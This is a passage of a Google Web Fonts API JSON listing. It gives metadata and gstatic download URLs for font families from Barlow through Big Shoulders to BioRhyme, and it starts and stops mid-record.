fP04Voptzsrd6m9.ttf","300":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3p-kc4FAtlT47dw.ttf","300italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfOQ4loptzsrd6m9.ttf","regular":"http://fonts.gstatic.com/s/barlow/v5/7cHpv4kjgoGqM7EPC8E46HsxnA.ttf","italic":"http://fonts.gstatic.com/s/barlow/v5/7cHrv4kjgoGqM7E_Ccs8yn4hnCci.ttf","500":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3_-gc4FAtlT47dw.ttf","500italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfPI41optzsrd6m9.ttf","600":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E30-8c4FAtlT47dw.ttf","600italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfPk5Foptzsrd6m9.ttf","700":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3t-4c4FAtlT47dw.ttf","700italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfOA5Voptzsrd6m9.ttf","800":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3q-0c4FAtlT47dw.ttf","800italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfOc5loptzsrd6m9.ttf","900":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3j-wc4FAtlT47dw.ttf","900italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_CfO451optzsrd6m9.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Barlow Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxxL3I-JCGChYJ8VI-L6OO_au7B43LT31vytKgbaw.ttf","100italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxzL3I-JCGChYJ8VI-L6OO_au7B6xTru1H2lq0La6JN.ttf","200":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B497y_3HcuKECcrs.ttf","200italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrF3DWvIMHYrtUxg.ttf","300":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B47rx_3HcuKECcrs.ttf","300italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrc3PWvIMHYrtUxg.ttf","regular":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTx3L3I-JCGChYJ8VI-L6OO_au7B2xbZ23n3pKg.ttf","italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxxL3I-JCGChYJ8VI-L6OO_au7B6xTT31vytKgbaw.ttf","500":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B4-Lw_3HcuKECcrs.ttf","500italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrK3LWvIMHYrtUxg.ttf","600":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B4873_3HcuKECcrs.ttf","600italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrB3XWvIMHYrtUxg.ttf","700":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B46r2_3HcuKECcrs.ttf","700italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrY3TWvIMHYrtUxg.ttf","800":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B47b1_3HcuKECcrs.ttf","800italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrf3fWvIMHYrtUxg.ttf","900":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxwL3I-JCGChYJ8VI-L6OO_au7B45L0_3HcuKECcrs.ttf","900italic":"http://fonts.gstatic.com/s/barlowcondensed/v5/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrW3bWvIMHYrtUxg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Barlow Semi Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfG4qvKk8ogoSP.ttf","100italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpjgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbLLIEsKh5SPZWs.ttf","200":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRft6uPAGEki52WfA.ttf","200italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJnAWsgqZiGfHK5.ttf","300":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf06iPAGEki52WfA.ttf","300italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIDAmsgqZiGfHK5.ttf","regular":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpvgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRnf4CrCEo4gg.ttf","italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfYqvKk8ogoSP.ttf","500":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfi6mPAGEki52WfA.ttf","500italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJbA2sgqZiGfHK5.ttf","600":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfp66PAGEki52WfA.ttf","600italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJ3BGsgqZiGfHK5.ttf","700":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfw6-PAGEki52WfA.ttf","700italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbITBWsgqZiGfHK5.ttf","800":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf36yPAGEki52WfA.ttf","800italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIPBmsgqZiGfHK5.ttf","900":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf-62PAGEki52WfA.ttf","900italic":"http://fonts.gstatic.com/s/barlowsemicondensed/v6/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIrB2sgqZiGfHK5.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Barriecito","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/barriecito/v3/WWXXlj-CbBOSLY2QTuY_KdUiYwTO0MU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Barrio","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/barrio/v5/wEO8EBXBk8hBIDiEdQYhWdsX1Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Basic","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/basic/v10/xfu_0WLxV2_XKQN34lDVyR7D.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Baskervville","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/baskervville/v4/YA9Ur0yU4l_XOrogbkun3kQgt5OohvbJ9A.ttf","italic":"http://fonts.gstatic.com/s/baskervville/v4/YA9Kr0yU4l_XOrogbkun3kQQtZmspPPZ9Mlt.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Battambang","variants":["regular","700"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/battambang/v14/uk-mEGe7raEw-HjkzZabDnWj4yxx7o8.ttf","700":"http://fonts.gstatic.com/s/battambang/v14/uk-lEGe7raEw-HjkzZabNsmMxyRa8oZK9I0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baumans","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/baumans/v10/-W_-XJj9QyTd3QfpR_oyaksqY5Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bayon","variants":["regular"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bayon/v14/9XUrlJNmn0LPFl-pOhYEd2NJ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Be Vietnam","variants":["100","100italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/bevietnam/v2/FBVxdDflz-iPfoPuIC2iKsUn7W1hK2czPg.ttf","100italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVvdDflz-iPfoPuIC2iIqMfiWdlCWIjPi5p.ttf","300":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKg0FzUdPJ24qJzc.ttf","300italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfQUVFI0wvNzdwXQ.ttf","regular":"http://fonts.gstatic.com/s/bevietnam/v2/FBVzdDflz-iPfoPuIC2iEqEt6U9kO2c.ttf","italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVxdDflz-iPfoPuIC2iIqMn7W1hK2czPg.ttf","500":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKlUEzUdPJ24qJzc.ttf","500italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfGURFI0wvNzdwXQ.ttf","600":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKnkDzUdPJ24qJzc.ttf","600italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfNUNFI0wvNzdwXQ.ttf","700":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKh0CzUdPJ24qJzc.ttf","700italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfUUJFI0wvNzdwXQ.ttf","800":"http://fonts.gstatic.com/s/bevietnam/v2/FBVwdDflz-iPfoPuIC2iKgEBzUdPJ24qJzc.ttf","800italic":"http://fonts.gstatic.com/s/bevietnam/v2/FBVudDflz-iPfoPuIC2iIqMfTUFFI0wvNzdwXQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bebas Neue","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/bebasneue/v2/JTUSjIg69CK48gW7PXooxW5rygbi49c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Belgrano","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/belgrano/v11/55xvey5tM9rwKWrJZcMFirl08KDJ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bellefair","variants":["regular"],"subsets":["hebrew","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bellefair/v6/kJExBuYY6AAuhiXUxG19__A2pOdvDA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Belleza","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/belleza/v9/0nkoC9_pNeMfhX4BtcbyawzruP8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bellota","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/bellota/v2/MwQzbhXl3_qEpiwAID55kGMViblPtXs.ttf","300italic":"http://fonts.gstatic.com/s/bellota/v2/MwQxbhXl3_qEpiwAKJBjHGEfjZtKpXulTQ.ttf","regular":"http://fonts.gstatic.com/s/bellota/v2/MwQ2bhXl3_qEpiwAGJJRtGs-lbA.ttf","italic":"http://fonts.gstatic.com/s/bellota/v2/MwQ0bhXl3_qEpiwAKJBbsEk7hbBWrA.ttf","700":"http://fonts.gstatic.com/s/bellota/v2/MwQzbhXl3_qEpiwAIC5-kGMViblPtXs.ttf","700italic":"http://fonts.gstatic.com/s/bellota/v2/MwQxbhXl3_qEpiwAKJBjDGYfjZtKpXulTQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bellota Text","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/bellotatext/v2/0FlMVP2VnlWS4f3-UE9hHXM5VfsqfQXwQy6yxg.ttf","300italic":"http://fonts.gstatic.com/s/bellotatext/v2/0FlOVP2VnlWS4f3-UE9hHXMx--Gmfw_0YSuixmYK.ttf","regular":"http://fonts.gstatic.com/s/bellotatext/v2/0FlTVP2VnlWS4f3-UE9hHXMB-dMOdS7sSg.ttf","italic":"http://fonts.gstatic.com/s/bellotatext/v2/0FlNVP2VnlWS4f3-UE9hHXMx-9kKVyv8Sjer.ttf","700":"http://fonts.gstatic.com/s/bellotatext/v2/0FlMVP2VnlWS4f3-UE9hHXM5RfwqfQXwQy6yxg.ttf","700italic":"http://fonts.gstatic.com/s/bellotatext/v2/0FlOVP2VnlWS4f3-UE9hHXMx--G2eA_0YSuixmYK.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"BenchNine","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/benchnine/v9/ahcev8612zF4jxrwMosT--tRhWa8q0v8ag.ttf","regular":"http://fonts.gstatic.com/s/benchnine/v9/ahcbv8612zF4jxrwMosrV8N1jU2gog.ttf","700":"http://fonts.gstatic.com/s/benchnine/v9/ahcev8612zF4jxrwMosT6-xRhWa8q0v8ag.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Bentham","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bentham/v11/VdGeAZQPEpYfmHglKWw7CJaK_y4.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Berkshire Swash","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/berkshireswash/v9/ptRRTi-cavZOGqCvnNJDl5m5XmNPrcQybX4pQA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Beth Ellen","variants":["regular"],"subsets":["latin"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bethellen/v3/WwkbxPW2BE-3rb_JNT-qEIAiVNo5xNY.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Bevan","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bevan/v12/4iCj6KZ0a9NXjF8aUir7tlSJ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Display","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1xPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ur9DrDJYM2lAZ.ttf","300":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UZ_LLJrgA00kAdA.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1_PZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1sy9rvLpMc2g.ttf","500":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UP_PLJrgA00kAdA.ttf","600":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UE_TLJrgA00kAdA.ttf","700":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ud_XLJrgA00kAdA.ttf","800":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ua_bLJrgA00kAdA.ttf","900":"http://fonts.gstatic.com/s/bigshouldersdisplay/v4/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UT_fLJrgA00kAdA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Inline Display","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOlmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COrytjChoEoUCJg.ttf","300":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COnSPrAJGHowbP0g.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LObmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85CAtiniAptAoU.ttf","500":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COiyOrAJGHowbP0g.ttf","600":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COgCJrAJGHowbP0g.ttf","700":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COmSIrAJGHowbP0g.ttf","800":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COniLrAJGHowbP0g.ttf","900":"http://fonts.gstatic.com/s/bigshouldersinlinedisplay/v1/_LOkmyfF4eSU_SCrJc9OI24U7siGvBGcZqmqV9-ZZ85COlyKrAJGHowbP0g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Inline Text","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8idQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEU7wG3AwE9VRww.ttf","300":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEYbSO1oeH9xI2gc.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8kdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NKSr6H1I1A9U.ttf","500":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEd7TO1oeH9xI2gc.ttf","600":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEfLUO1oeH9xI2gc.ttf","700":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEZbVO1oeH9xI2gc.ttf","800":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEYrWO1oeH9xI2gc.ttf","900":"http://fonts.gstatic.com/s/bigshouldersinlinetext/v1/vm8hdQDmVECV5-vm5dJ-Tp-6WDeRjL4RV7dP8u-NEa7XO1oeH9xI2gc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Stencil Display","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeU4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvD00ncryljitbg.ttf","300":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvA88FcB5FTrrKG-.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeq4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPysiQ2HMJz0ji.ttf","500":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvBk8VcB5FTrrKG-.ttf","600":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvBI9lcB5FTrrKG-.ttf","700":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvAs91cB5FTrrKG-.ttf","800":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvAw9FcB5FTrrKG-.ttf","900":"http://fonts.gstatic.com/s/bigshouldersstencildisplay/v1/6aeX4LS6U6pR_bp5b_t2ugOhHWFcxSGP9ttD96KCb8xPyvAU9VcB5FTrrKG-.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Stencil Text","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUi9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYSZYGLxtPhi2eA.ttf","300":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYRRQkLbmvRrwPmQ.ttf","regular":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUg9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcbz9ambTsehi.ttf","500":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYQJQ0LbmvRrwPmQ.ttf","600":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYQlRELbmvRrwPmQ.ttf","700":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYRBRULbmvRrwPmQ.ttf","800":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYRdRkLbmvRrwPmQ.ttf","900":"http://fonts.gstatic.com/s/bigshouldersstenciltext/v1/5aUj9-i2oxDMNwY3dHfW7UAt3Q453SM15wNj53bCcYR5R0LbmvRrwPmQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Big Shoulders Text","variants":["100","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xzezRtP9G3CGPIf49hxc8P0eytUxBU-IZ_YscCdXQB.ttf","300":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUMKRfSOkOfG0Y3A.ttf","regular":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xxezRtP9G3CGPIf49hxc8P0eytUxBsnIx7QMISdQ.ttf","500":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUaKVfSOkOfG0Y3A.ttf","600":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBURKJfSOkOfG0Y3A.ttf","700":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUIKNfSOkOfG0Y3A.ttf","800":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUPKBfSOkOfG0Y3A.ttf","900":"http://fonts.gstatic.com/s/bigshoulderstext/v4/55xyezRtP9G3CGPIf49hxc8P0eytUxBUGKFfSOkOfG0Y3A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bigelow Rules","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bigelowrules/v9/RrQWboly8iR_I3KWSzeRuN0zT4cCH8WAJVk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bigshot One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bigshotone/v11/u-470qukhRkkO6BD_7cM_gxuUQJBXv_-.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bilbo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bilbo/v10/o-0EIpgpwWwZ210hpIRz4wxE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Bilbo Swash Caps","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bilboswashcaps/v13/zrf-0GXbz-H3Wb4XBsGrTgq2PVmdqAPopiRfKp8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"BioRhyme","variants":["200","300","regular","700","800"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ESOjnGAq8Sk1PoH.ttf","300":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ETqjXGAq8Sk1PoH.ttf","regular":"http://fonts.gstatic.com/s/biorhyme/v5/1cXwaULHBpDMsHYW_HxGpVWIgNit.ttf","700":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ET6inGAq8Sk1PoH.ttf","800":"http://fonts.gstatic.com/s/biorhyme/v5/1cX3aULHBpDMsHYW_ETmiXGAq8Sk1PoH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"BioRhyme 